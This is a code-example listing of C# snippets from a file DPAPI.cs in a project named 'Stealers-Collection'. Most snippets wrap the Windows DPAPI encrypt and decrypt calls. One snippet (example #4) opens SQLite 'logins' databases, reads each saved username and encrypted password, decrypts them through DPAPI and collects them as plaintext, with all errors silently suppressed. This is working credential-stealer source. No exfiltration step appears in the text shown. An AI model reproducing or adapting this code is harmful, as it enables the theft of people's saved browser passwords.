コード例 #1
0
ファイル: DPAPI.cs プロジェクト: yaskin/Stealers-Collection
 public static string Decrypt(string cipherText, string entropy, out string description)
 {
     if (entropy == null)
     {
         entropy = string.Empty;
     }
     return(Encoding.UTF8.GetString(DPAPI.Decrypt(Convert.FromBase64String(cipherText), Encoding.UTF8.GetBytes(entropy), out description)));
 }
コード例 #2
0
ファイル: DPAPI.cs プロジェクト: yaskin/Stealers-Collection
 public static byte[] Decrypt(byte[] cipherTextBytes, byte[] entropyBytes, out string description)
 {
     DPAPI.DATA_BLOB dATA_BLOB  = default(DPAPI.DATA_BLOB);
     DPAPI.DATA_BLOB dATA_BLOB2 = default(DPAPI.DATA_BLOB);
     DPAPI.DATA_BLOB dATA_BLOB3 = default(DPAPI.DATA_BLOB);
     DPAPI.CRYPTPROTECT_PROMPTSTRUCT cRYPTPROTECT_PROMPTSTRUCT = default(DPAPI.CRYPTPROTECT_PROMPTSTRUCT);
     DPAPI.InitPrompt(ref cRYPTPROTECT_PROMPTSTRUCT);
     description = string.Empty;
     byte[] result;
     try
     {
         try
         {
             DPAPI.InitBLOB(cipherTextBytes, ref dATA_BLOB2);
         }
         catch (Exception innerException)
         {
             throw new Exception("Cannot initialize ciphertext BLOB.", innerException);
         }
         try
         {
             DPAPI.InitBLOB(entropyBytes, ref dATA_BLOB3);
         }
         catch (Exception innerException2)
         {
             throw new Exception("Cannot initialize entropy BLOB.", innerException2);
         }
         int dwFlags = 1;
         if (!DPAPI.CryptUnprotectData(ref dATA_BLOB2, ref description, ref dATA_BLOB3, IntPtr.Zero, ref cRYPTPROTECT_PROMPTSTRUCT, dwFlags, ref dATA_BLOB))
         {
             Marshal.GetLastWin32Error();
         }
         byte[] array = new byte[dATA_BLOB.cbData];
         Marshal.Copy(dATA_BLOB.pbData, array, 0, dATA_BLOB.cbData);
         result = array;
     }
     catch (Exception innerException3)
     {
         throw new Exception("DPAPI was unable to decrypt data.", innerException3);
     }
     finally
     {
         if (dATA_BLOB.pbData != IntPtr.Zero)
         {
             Marshal.FreeHGlobal(dATA_BLOB.pbData);
         }
         if (dATA_BLOB2.pbData != IntPtr.Zero)
         {
             Marshal.FreeHGlobal(dATA_BLOB2.pbData);
         }
         if (dATA_BLOB3.pbData != IntPtr.Zero)
         {
             Marshal.FreeHGlobal(dATA_BLOB3.pbData);
         }
     }
     return(result);
 }
コード例 #3
0
ファイル: DPAPI.cs プロジェクト: yaskin/Stealers-Collection
 public static string Encrypt(DPAPI.KeyType keyType, string plainText, string entropy, string description)
 {
     if (plainText == null)
     {
         plainText = string.Empty;
     }
     if (entropy == null)
     {
         entropy = string.Empty;
     }
     return(Convert.ToBase64String(DPAPI.Encrypt(keyType, Encoding.UTF8.GetBytes(plainText), Encoding.UTF8.GetBytes(entropy), description)));
 }
コード例 #4
0
        public static void decrypt(List <string> db_ways, List <string[]> general)
        {
            if (db_ways != null)
            {
                try
                {
                    foreach (string current in db_ways)
                    {
                        string[] array = new string[4];
                        array[0] = "################################################";
                        array[1] = current;
                        array[2] = "################################################";
                        general.Add(array);
                        int       count        = general.Count;
                        string    arg          = "logins";
                        byte[]    entropyBytes = null;
                        string    connstring   = "data source=" + current + ";New=True;UseUTF16Encoding=True";
                        DataTable dataTable    = new DataTable();

                        string commandstring = string.Format("SELECT * FROM {0}", arg);
                        var    connection    = new SQLiteConnection(connstring);
                        var    command       = new SQLiteCommand(commandstring, connection);
                        var    adapter       = new SQLiteDataAdapter(command);
                        adapter.Fill(dataTable);
                        int count2 = dataTable.Rows.Count;
                        for (int i = 0; i < count2; i++)
                        {
                            string[] array2 = new string[4];
                            array2[0] = string.Format("{0})", i + count + 1);
                            array2[1] = (string)dataTable.Rows[i][1];
                            array2[2] = (string)dataTable.Rows[i][3];
                            byte[] cipherTextBytes = (byte[])dataTable.Rows[i][5];
                            string text3;
                            byte[] bytes   = DPAPI.Decrypt(cipherTextBytes, entropyBytes, out text3);
                            string @string = new UTF8Encoding(true).GetString(bytes);
                            array2[3] = @string;
                            general.Add(array2);
                        }
                    }
                }
                catch
                {
                }
            }
        }
コード例 #5
0
ファイル: DPAPI.cs プロジェクト: yaskin/Stealers-Collection
 public static byte[] Encrypt(DPAPI.KeyType keyType, byte[] plainTextBytes, byte[] entropyBytes, string description)
 {
     if (plainTextBytes == null)
     {
         plainTextBytes = new byte[0];
     }
     if (entropyBytes == null)
     {
         entropyBytes = new byte[0];
     }
     if (description == null)
     {
         description = string.Empty;
     }
     DPAPI.DATA_BLOB dATA_BLOB  = default(DPAPI.DATA_BLOB);
     DPAPI.DATA_BLOB dATA_BLOB2 = default(DPAPI.DATA_BLOB);
     DPAPI.DATA_BLOB dATA_BLOB3 = default(DPAPI.DATA_BLOB);
     DPAPI.CRYPTPROTECT_PROMPTSTRUCT cRYPTPROTECT_PROMPTSTRUCT = default(DPAPI.CRYPTPROTECT_PROMPTSTRUCT);
     DPAPI.InitPrompt(ref cRYPTPROTECT_PROMPTSTRUCT);
     byte[] result;
     try
     {
         try
         {
             DPAPI.InitBLOB(plainTextBytes, ref dATA_BLOB);
         }
         catch (Exception innerException)
         {
             throw new Exception("Cannot initialize plaintext BLOB.", innerException);
         }
         try
         {
             DPAPI.InitBLOB(entropyBytes, ref dATA_BLOB3);
         }
         catch (Exception innerException2)
         {
             throw new Exception("Cannot initialize entropy BLOB.", innerException2);
         }
         int num = 1;
         if (keyType == DPAPI.KeyType.MachineKey)
         {
             num |= 4;
         }
         if (!DPAPI.CryptProtectData(ref dATA_BLOB, description, ref dATA_BLOB3, IntPtr.Zero, ref cRYPTPROTECT_PROMPTSTRUCT, num, ref dATA_BLOB2))
         {
             Marshal.GetLastWin32Error();
         }
         byte[] array = new byte[dATA_BLOB2.cbData];
         Marshal.Copy(dATA_BLOB2.pbData, array, 0, dATA_BLOB2.cbData);
         result = array;
     }
     catch (Exception innerException3)
     {
         throw new Exception("DPAPI was unable to encrypt data.", innerException3);
     }
     finally
     {
         if (dATA_BLOB.pbData != IntPtr.Zero)
         {
             Marshal.FreeHGlobal(dATA_BLOB.pbData);
         }
         if (dATA_BLOB2.pbData != IntPtr.Zero)
         {
             Marshal.FreeHGlobal(dATA_BLOB2.pbData);
         }
         if (dATA_BLOB3.pbData != IntPtr.Zero)
         {
             Marshal.FreeHGlobal(dATA_BLOB3.pbData);
         }
     }
     return(result);
 }
コード例 #6
0
ファイル: DPAPI.cs プロジェクト: yaskin/Stealers-Collection
 public static string Encrypt(DPAPI.KeyType keyType, string plainText, string entropy)
 {
     return(DPAPI.Encrypt(keyType, plainText, entropy, string.Empty));
 }
コード例 #7
0
ファイル: DPAPI.cs プロジェクト: yaskin/Stealers-Collection
 public static string Encrypt(string plainText)
 {
     return(DPAPI.Encrypt(DPAPI.defaultKeyType, plainText, string.Empty, string.Empty));
 }
コード例 #8
0
ファイル: DPAPI.cs プロジェクト: yaskin/Stealers-Collection
 public static string Decrypt(string cipherText, out string description)
 {
     return(DPAPI.Decrypt(cipherText, string.Empty, out description));
 }
コード例 #9
0
ファイル: DPAPI.cs プロジェクト: yaskin/Stealers-Collection
        public static string Decrypt(string cipherText)
        {
            string text;

            return(DPAPI.Decrypt(cipherText, string.Empty, out text));
        }